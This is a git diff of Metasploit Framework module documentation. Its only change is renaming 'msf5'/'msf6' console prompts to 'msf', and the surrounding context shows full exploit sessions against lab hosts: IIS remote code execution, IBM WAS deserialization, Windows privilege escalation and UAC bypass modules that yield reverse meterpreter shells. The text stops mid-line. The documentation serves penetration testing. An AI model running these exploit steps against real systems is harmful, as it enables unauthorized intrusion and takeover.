-msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions Active sessions =============== @@ -137,7 +137,7 @@ Active sessions 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1 72.17.245.94) -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2 +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid diff --git a/documentation/modules/exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce.md b/documentation/modules/exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce.md index f63a8a1ecce56..cbd0825e20268 100644 --- a/documentation/modules/exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce.md +++ b/documentation/modules/exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce.md @@ -29,10 +29,10 @@ The exploit module contains several targets as detailed below. This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell). ``` -msf5 > use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set rhosts 172.22.222.200 +msf > use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set rhosts 172.22.222.200 rhosts => 172.22.222.200 -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > exploit +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] 172.22.222.200:11006 - Connected to IBM WAS DMGR. @@ -59,16 +59,16 @@ meterpreter > exit This target isn't a formal target. It was added to allow a user to execute commands entirely through the IBM Websphere Application Network Deployment Server remote administration feature. It would be the most quiet of the targets as it does not create any additional connections or use powershell by default like Target 0. ``` -msf5 > use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set rhosts 172.22.222.200 +msf > use exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set rhosts 172.22.222.200 rhosts => 172.22.222.200 -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set target 1 +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set target 1 target => 1 -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set payload cmd/windows/generic +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set payload cmd/windows/generic payload => cmd/windows/generic -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set cmd "ping -n 10 172.22.222.200" +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > set cmd "ping -n 10 172.22.222.200" cmd => ping -n 10 172.22.222.200 -msf5 exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > run +msf exploit(windows/ibm/ibm_was_dmgr_java_deserialization_rce) > run [*] 172.22.222.200:11006 - Connected to IBM WAS DMGR. [*] 172.22.222.200:11006 - Server responded diff --git a/documentation/modules/exploit/windows/iis/ms01_023_printer.md b/documentation/modules/exploit/windows/iis/ms01_023_printer.md index 98698bfa782a1..c44524282db41 100644 --- a/documentation/modules/exploit/windows/iis/ms01_023_printer.md +++ b/documentation/modules/exploit/windows/iis/ms01_023_printer.md @@ -50,13 +50,13 @@ This module has been tested successfully on: ### Windows 2000 Professional SP1 (EN) ``` -msf6 > use exploit/windows/iis/ms01_023_printer +msf > use exploit/windows/iis/ms01_023_printer [*] Using configured payload windows/shell/reverse_tcp -msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195 +msf exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195 rhosts => 192.168.200.195 -msf6 exploit(windows/iis/ms01_023_printer) > check +msf exploit(windows/iis/ms01_023_printer) > check [*] 192.168.200.195:80 - The target appears to be vulnerable. -msf6 exploit(windows/iis/ms01_023_printer) > show targets +msf exploit(windows/iis/ms01_023_printer) > show targets Exploit targets: @@ -81,13 +81,13 @@ Exploit targets: 16 Windows 2000 Pro SP1 (Greek) -msf6 exploit(windows/iis/ms01_023_printer) > set target 4 +msf exploit(windows/iis/ms01_023_printer) > set target 4 target => 4 -msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp +msf exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp -msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130 +msf exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(windows/iis/ms01_023_printer) > run +msf exploit(windows/iis/ms01_023_printer) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] Using target: Windows 2000 SP0-SP1 (English) ... diff --git a/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md b/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md index 0777d52cc54bf..06fc86bdb3ab5 100644 --- a/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md +++ b/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md @@ -38,15 +38,15 @@ Traversal depth to reach the drive root (default: `2`) ### Windows 2000 Server (SP0) (FR) ``` -msf6 > use exploit/windows/iis/ms01_026_dbldecode +msf > use exploit/windows/iis/ms01_026_dbldecode [*] Using configured payload windows/shell/reverse_tcp -msf6 exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175 +msf exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175 rhosts => 192.168.200.175 -msf6 exploit(windows/iis/ms01_026_dbldecode) > check +msf exploit(windows/iis/ms01_026_dbldecode) > check [+] 192.168.200.175:80 - The target is vulnerable. Found Windows directory name: winnt -msf6 exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130 +msf exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(windows/iis/ms01_026_dbldecode) > run +msf exploit(windows/iis/ms01_026_dbldecode) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] Using Windows directory "winnt" diff --git a/documentation/modules/exploit/windows/iis/ms02_065_msadc.md b/documentation/modules/exploit/windows/iis/ms02_065_msadc.md index e357eb66811ca..4f167f0286d33 100644 --- a/documentation/modules/exploit/windows/iis/ms02_065_msadc.md +++ b/documentation/modules/exploit/windows/iis/ms02_065_msadc.md @@ -42,11 +42,11 @@ The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`) ### Windows 2000 Professional SP3 (EN) ``` -msf6 > use exploit/windows/iis/ms02_065_msadc +msf > use exploit/windows/iis/ms02_065_msadc [*] Using configured payload windows/shell/reverse_tcp -msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186 +msf exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186 rhosts => 192.168.200.186 -msf6 exploit(windows/iis/ms02_065_msadc) > show targets +msf exploit(windows/iis/ms02_065_msadc) > show targets Exploit targets: @@ -64,13 +64,13 @@ Exploit targets: 9 Windows 2000 Pro SP2 (Portuguese) -msf6 exploit(windows/iis/ms02_065_msadc) > set target 0 +msf exploit(windows/iis/ms02_065_msadc) > set target 0 target => 0 -msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130 +msf exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(windows/iis/ms02_065_msadc) > check +msf exploit(windows/iis/ms02_065_msadc) > check [*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg -msf6 exploit(windows/iis/ms02_065_msadc) > run +msf exploit(windows/iis/ms02_065_msadc) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] Encoded stage with x86/shikata_ga_nai diff --git a/documentation/modules/exploit/windows/iis/ms03_007_ntdll_webdav.md b/documentation/modules/exploit/windows/iis/ms03_007_ntdll_webdav.md index 1ff510feb2a4c..d3f3b96fa424f 100644 --- a/documentation/modules/exploit/windows/iis/ms03_007_ntdll_webdav.md +++ b/documentation/modules/exploit/windows/iis/ms03_007_ntdll_webdav.md @@ -50,15 +50,15 @@ This module has been tested successfully on: ``` -msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav +msf > use exploit/windows/iis/ms03_007_ntdll_webdav [*] Using configured payload windows/shell/reverse_tcp -msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195 +msf exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195 rhosts => 192.168.200.195 -msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130 +msf exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check +msf exploit(windows/iis/ms03_007_ntdll_webdav) > check [+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception) -msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run +msf exploit(windows/iis/ms03_007_ntdll_webdav) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] Trying return address 0x004e004f (1 / 88)... diff --git a/documentation/modules/exploit/windows/local/alpc_taskscheduler.md b/documentation/modules/exploit/windows/local/alpc_taskscheduler.md index 4cbb38d5e167a..3e597dd03e422 100644 --- a/documentation/modules/exploit/windows/local/alpc_taskscheduler.md +++ b/documentation/modules/exploit/windows/local/alpc_taskscheduler.md @@ -27,12 +27,12 @@ Affected Windows OS versions and related patch details can be found in the [Micr ### Tested on Windows 10 Pro Version 1803 x64 ``` -msf5 > use exploit/windows/local/alpc_taskscheduler -msf5 exploit(windows/local/alpc_taskscheduler) > set payload windows/x64/meterpreter/reverse_tcp +msf > use exploit/windows/local/alpc_taskscheduler +msf exploit(windows/local/alpc_taskscheduler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/alpc_taskscheduler) > set lhost 172.22.222.136 +msf exploit(windows/local/alpc_taskscheduler) > set lhost 172.22.222.136 lhost => 172.22.222.136 -msf5 exploit(windows/local/alpc_taskscheduler) > sessions +msf exploit(windows/local/alpc_taskscheduler) > sessions Active sessions =============== @@ -42,17 +42,17 @@ Active sessions 1 shell x64/windows Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. Al... 172.22.222.136:4444 -> 172.22.222.200:50490 (172.22.222.200) 2 meterpreter x64/windows DESKTOP-IPOGIJR\lowmsfdev @ DESKTOP-IPOGIJR 172.22.222.136:4444 -> 172.22.222.200:50491 (172.22.222.200) -msf5 exploit(windows/local/alpc_taskscheduler) > set session 1 +msf exploit(windows/local/alpc_taskscheduler) > set session 1 session => 1 -msf5 exploit(windows/local/alpc_taskscheduler) > exploit +msf exploit(windows/local/alpc_taskscheduler) > exploit [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.22.222.136:4444 [-] Exploit aborted due to failure: none: Only meterpreter sessions are supported [*] Exploit completed, but no session was created. -msf5 exploit(windows/local/alpc_taskscheduler) > set session 2 +msf exploit(windows/local/alpc_taskscheduler) > set session 2 session => 2 -msf5 exploit(windows/local/alpc_taskscheduler) > exploit +msf exploit(windows/local/alpc_taskscheduler) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] Checking target... @@ -76,13 +76,13 @@ Logged On Users : 3 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 3... -msf5 exploit(windows/local/alpc_taskscheduler) > set session 3 +msf exploit(windows/local/alpc_taskscheduler) > set session 3 session => 3 -msf5 exploit(windows/local/alpc_taskscheduler) > exploit +msf exploit(windows/local/alpc_taskscheduler) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] Checking target... [-] Exploit aborted due to failure: none: Session is already elevated [*] Exploit completed, but no session was created. -msf5 exploit(windows/local/alpc_taskscheduler) > +msf exploit(windows/local/alpc_taskscheduler) > ``` diff --git a/documentation/modules/exploit/windows/local/anyconnect_lpe.md b/documentation/modules/exploit/windows/local/anyconnect_lpe.md index 7e0c841ec0f74..360b190ab2dfc 100644 --- a/documentation/modules/exploit/windows/local/anyconnect_lpe.md +++ b/documentation/modules/exploit/windows/local/anyconnect_lpe.md @@ -73,24 +73,24 @@ been provided. ### Windows 10 version 1909 (x64) with AnyConnect 4.8.3052 - CVE-2020-3433 ``` -msf5 exploit(windows/local/anyconnect_lpe) > set SESSION 1 +msf exploit(windows/local/anyconnect_lpe) > set SESSION 1 SESSION => 1 -msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24 +msf exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24 lhost => 192.168.1.24 -msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445 +msf exploit(windows/local/anyconnect_lpe) > set lport 4445 lport => 4445 -msf5 exploit(windows/local/anyconnect_lpe) > set verbose true +msf exploit(windows/local/anyconnect_lpe) > set verbose true verbose => true -msf5 exploit(windows/local/anyconnect_lpe) > set CVE CVE-2020-3433 +msf exploit(windows/local/anyconnect_lpe) > set CVE CVE-2020-3433 CVE => CVE-2020-3433 -msf5 exploit(windows/local/anyconnect_lpe) > check +msf exploit(windows/local/anyconnect_lpe) > check [*] Try to detect installation path... [*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe' [*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433). -msf5 exploit(windows/local/anyconnect_lpe) > run +msf exploit(windows/local/anyconnect_lpe) > run [*] Started reverse TCP handler on 192.168.1.24:4445 [*] Try to detect installation path... @@ -124,24 +124,24 @@ Meterpreter : x86/windows ### Windows 7 SP1 with AnyConnect 4.7.4056 - CVE-2020-3153 ``` -msf5 exploit(windows/local/anyconnect_lpe) > set session 4 +msf exploit(windows/local/anyconnect_lpe) > set session 4 session => 4 -msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24 +msf exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24 lhost => 192.168.1.24 -msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445 +msf exploit(windows/local/anyconnect_lpe) > set lport 4445 lport => 4445 -msf5 exploit(windows/local/anyconnect_lpe) > set verbose true +msf exploit(windows/local/anyconnect_lpe) > set verbose true verbose => true -msf5 exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3153 +msf exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3153 cve => CVE-2020-3153 -msf5 exploit(windows/local/anyconnect_lpe) > check +msf exploit(windows/local/anyconnect_lpe) > check [*] Try to detect installation path... [*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe' [*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433). -msf5 exploit(windows/local/anyconnect_lpe) > run +msf exploit(windows/local/anyconnect_lpe) > run [*] Started reverse TCP handler on 192.168.1.24:4445 [*] Try to detect installation path... @@ -173,24 +173,24 @@ Meterpreter : x86/windows ### Windows 7 SP1 with AnyConnect 4.7.4056 - CVE-2020-3433 ``` -msf5 exploit(windows/local/anyconnect_lpe) > set session 4 +msf exploit(windows/local/anyconnect_lpe) > set session 4 session => 4 -msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24 +msf exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24 lhost => 192.168.1.24 -msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445 +msf exploit(windows/local/anyconnect_lpe) > set lport 4445 lport => 4445 -msf5 exploit(windows/local/anyconnect_lpe) > set verbose true +msf exploit(windows/local/anyconnect_lpe) > set verbose true verbose => true -msf5 exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3433 +msf exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3433 cve => CVE-2020-3433 -msf5 exploit(windows/local/anyconnect_lpe) > check +msf exploit(windows/local/anyconnect_lpe) > check [*] Try to detect installation path... [*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe' [*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433). -msf5 exploit(windows/local/anyconnect_lpe) > run +msf exploit(windows/local/anyconnect_lpe) > run [*] Started reverse TCP handler on 192.168.1.24:4445 [*] Try to detect installation path... diff --git a/documentation/modules/exploit/windows/local/appxsvc_hard_link_privesc.md b/documentation/modules/exploit/windows/local/appxsvc_hard_link_privesc.md index 7843178450b18..328652942d4f8 100644 --- a/documentation/modules/exploit/windows/local/appxsvc_hard_link_privesc.md +++ b/documentation/modules/exploit/windows/local/appxsvc_hard_link_privesc.md @@ -27,12 +27,12 @@ ### Tested on Windows 10 Version 1709 Build 16299.125 ``` - msf5 > use multi/handler - msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp + msf > use multi/handler + msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set lhost 192.168.37.1 + msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (206403 bytes) to 192.168.37.135 @@ -42,14 +42,14 @@ Server username: DESKTOP-L5FDSM7\Shelby Pace meterpreter > background [*] Backgrounding session 1... - msf5 exploit(multi/handler) > use exploit/windows/local/appxsvc_hard_link_privesc - msf5 exploit(windows/local/appxsvc_hard_link_privesc) > set session 1 + msf exploit(multi/handler) > use exploit/windows/local/appxsvc_hard_link_privesc + msf exploit(windows/local/appxsvc_hard_link_privesc) > set session 1 session => 1 - msf5 exploit(windows/local/appxsvc_hard_link_privesc) > set payload windows/x64/meterpreter/reverse_tcp + msf exploit(windows/local/appxsvc_hard_link_privesc) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp - msf5 exploit(windows/local/appxsvc_hard_link_privesc) > set lhost 192.168.37.1 + msf exploit(windows/local/appxsvc_hard_link_privesc) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(windows/local/appxsvc_hard_link_privesc) > run + msf exploit(windows/local/appxsvc_hard_link_privesc) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.37.1:4444 diff --git a/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md b/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md index d23092185d8fa..6d7b140be1f77 100644 --- a/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md +++ b/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md @@ -69,12 +69,12 @@ By default, service users hold the SE_IMPERSONATE_NAME privilege so this exploit a service account to local system. Lab experiments has shown it works for both LOCAL SERVICE and NETWORK SERVICE: ``` -msf6 exploit(exploit/multi/handler) > use exploit/windows/local/bits_ntlm_token_impersonation +msf exploit(exploit/multi/handler) > use exploit/windows/local/bits_ntlm_token_impersonation [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/bits_ntlm_token_impersonation) > set payload windows/x64/meterpreter/reverse_https +msf exploit(windows/local/bits_ntlm_token_impersonation) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https -msf6 exploit(windows/local/bits_ntlm_token_impersonation) > exploit +msf exploit(windows/local/bits_ntlm_token_impersonation) > exploit [*] Started HTTPS reverse handler on https://192.168.1.33:443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/local/bypassuac_dotnet_profiler.md b/documentation/modules/exploit/windows/local/bypassuac_dotnet_profiler.md index 70b8abca76363..20c29f401f72a 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_dotnet_profiler.md +++ b/documentation/modules/exploit/windows/local/bypassuac_dotnet_profiler.md @@ -23,7 +23,7 @@ process, but others would work, too. ### Windows Windows 7 (6.1 Build 7601, Service Pack 1) x64 ``` -msf5 exploit(windows/local/bypassuac_dotnet_profiler) > run +msf exploit(windows/local/bypassuac_dotnet_profiler) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] UAC is Enabled, checking level... @@ -76,10 +76,10 @@ meterpreter > ### Windows Windows 7 (6.1 Build 7601, Service Pack 1) x64 ``` -msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_dotnet_profiler -msf5 exploit(windows/local/bypassuac_dotnet_profiler) > set session 6 +msf exploit(multi/handler) > use exploit/windows/local/bypassuac_dotnet_profiler +msf exploit(windows/local/bypassuac_dotnet_profiler) > set session 6 session => 6 -msf5 exploit(windows/local/bypassuac_dotnet_profiler) > show options +msf exploit(windows/local/bypassuac_dotnet_profiler) > show options Module options (exploit/windows/local/bypassuac_dotnet_profiler): @@ -105,7 +105,7 @@ Exploit target: 0 Windows x64 -msf5 exploit(windows/local/bypassuac_dotnet_profiler) > run +msf exploit(windows/local/bypassuac_dotnet_profiler) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] UAC is Enabled, checking level... diff --git a/documentation/modules/exploit/windows/local/bypassuac_sdclt.md b/documentation/modules/exploit/windows/local/bypassuac_sdclt.md index df3258986b60b..40c106e1693a9 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_sdclt.md +++ b/documentation/modules/exploit/windows/local/bypassuac_sdclt.md @@ -18,7 +18,7 @@ system's sdclt.exe binary to run as a higher integrity process. ### Windows 10.0.17134 x64 ``` -msf5 exploit(windows/local/bypassuac_sdclt) > show options +msf exploit(windows/local/bypassuac_sdclt) > show options Module options (exploit/windows/local/bypassuac_sdclt): @@ -44,7 +44,7 @@ Exploit target: 0 Windows x64 -msf5 exploit(windows/local/bypassuac_sdclt) > run +msf exploit(windows/local/bypassuac_sdclt) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] UAC is Enabled, checking level... diff --git a/documentation/modules/exploit/windows/local/bypassuac_silentcleanup.md b/documentation/modules/exploit/windows/local/bypassuac_silentcleanup.md index 840d45dd81847..2b5141423395a 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_silentcleanup.md +++ b/documentation/modules/exploit/windows/local/bypassuac_silentcleanup.md @@ -20,7 +20,7 @@ be saved in a script file somewhere, it cannot be run directly from powershell o ## Scenarios ``` -msf5 > sessions +msf > sessions Active sessions =============== @@ -29,14 +29,14 @@ Active sessions -- ---- ---- ----------- ---------- 6 meterpreter x86/windows DESKTOP-T2TGIHP\Carter @ DESKTOP-T2TGIHP 192.168.1.x:4444 -> 192.168.1.x:53685 (192.168.1.x) -msf5 > use exploit/windows/local/bypassuac_silentcleanup -msf5 exploit(windows/local/bypassuac_silentcleanup) > set SESSION 6 +msf > use exploit/windows/local/bypassuac_silentcleanup +msf exploit(windows/local/bypassuac_silentcleanup) > set SESSION 6 SESSION => 6 -msf5 exploit(windows/local/bypassuac_silentcleanup) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/bypassuac_silentcleanup) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/bypassuac_silentcleanup) > set LHOST 192.168.1.xx +msf exploit(windows/local/bypassuac_silentcleanup) > set LHOST 192.168.1.xx LHOST => 192.168.1.xx -msf5 exploit(windows/local/bypassuac_silentcleanup) > options +msf exploit(windows/local/bypassuac_silentcleanup) > options Module options (exploit/windows/local/bypassuac_silentcleanup): @@ -62,7 +62,7 @@ Exploit target: 0 Microsoft Windows -msf5 exploit(windows/local/bypassuac_silentcleanup) > run +msf exploit(windows/local/bypassuac_silentcleanup) > run [*] Started reverse TCP handler on 192.168.1.xx:4444 [+] Part of Administrators group! Continuing... @@ -73,5 +73,5 @@ meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > bg [*] Backgrounding session 10... -msf5 exploit(windows/local/bypassuac_silentcleanup) > +msf exploit(windows/local/bypassuac_silentcleanup) > ``` diff --git a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md index 4b969600e3a57..595b0d8dab844 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md +++ b/documentation/modules/exploit/windows/local/bypassuac_windows_store_reg.md @@ -22,7 +22,7 @@ privileges. ### Windows 10.0.17134.885 x64 ``` -msf5 exploit(windows/local/bypassuac_windows_store_reg) > run +msf exploit(windows/local/bypassuac_windows_store_reg) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] UAC is Enabled, checking level... diff --git a/documentation/modules/exploit/windows/local/canon_driver_privesc.md b/documentation/modules/exploit/windows/local/canon_driver_privesc.md index 613d38ef7d655..68d98fec087cb 100644 --- a/documentation/modules/exploit/windows/local/canon_driver_privesc.md +++ b/documentation/modules/exploit/windows/local/canon_driver_privesc.md @@ -42,15 +42,15 @@ is time-sensitive. ### Canon TR150 series v3.71.2.10 on Windows 10 Build 17134 ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > set lhost 10.0.0.8 +msf exploit(multi/handler) > set lhost 10.0.0.8 lhost => 10.0.0.8 -msf6 exploit(multi/handler) > set lport 1270 +msf exploit(multi/handler) > set lport 1270 lport => 1270 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.0.0.8:1270 [*] Sending stage (200262 bytes) to 10.0.0.7 @@ -68,15 +68,15 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/canon_driver_privesc +msf exploit(multi/handler) > use exploit/windows/local/canon_driver_privesc [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/canon_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/canon_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/canon_driver_privesc) > set lhost 10.0.0.8 +msf exploit(windows/local/canon_driver_privesc) > set lhost 10.0.0.8 lhost => 10.0.0.8 -msf6 exploit(windows/local/canon_driver_privesc) > set session 1 +msf exploit(windows/local/canon_driver_privesc) > set session 1 session => 1 -msf6 exploit(windows/local/canon_driver_privesc) > run +msf exploit(windows/local/canon_driver_privesc) > run [*] Started reverse TCP handler on 10.0.0.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -106,9 +106,9 @@ meterpreter > quit ### TR150 series Printer Driver Ver.1.00 On Windows 10 20H2 ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > show options +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -131,11 +131,11 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/bind_tcp +msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp -msf6 exploit(multi/handler) > set RHOST 192.168.224.211 +msf exploit(multi/handler) > set RHOST 192.168.224.211 RHOST => 192.168.224.211 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 192.168.224.211:4444 [*] Sending stage (200262 bytes) to 192.168.224.211 @@ -164,11 +164,11 @@ meterpreter > getsystem [-] Named Pipe Impersonation (RPCSS variant) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/canon_driver_privesc +msf exploit(multi/handler) > use exploit/windows/local/canon_driver_privesc [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/local/canon_driver_privesc) > set SESSION 1 +msf exploit(windows/local/canon_driver_privesc) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/canon_driver_privesc) > show options +msf exploit(windows/local/canon_driver_privesc) > show options Module options (exploit/windows/local/canon_driver_privesc): @@ -193,11 +193,11 @@ Exploit target: 0 Windows -msf6 exploit(windows/local/canon_driver_privesc) > set LPORT 8877 +msf exploit(windows/local/canon_driver_privesc) > set LPORT 8877 LPORT => 8877 -msf6 exploit(windows/local/canon_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/canon_driver_privesc) > set 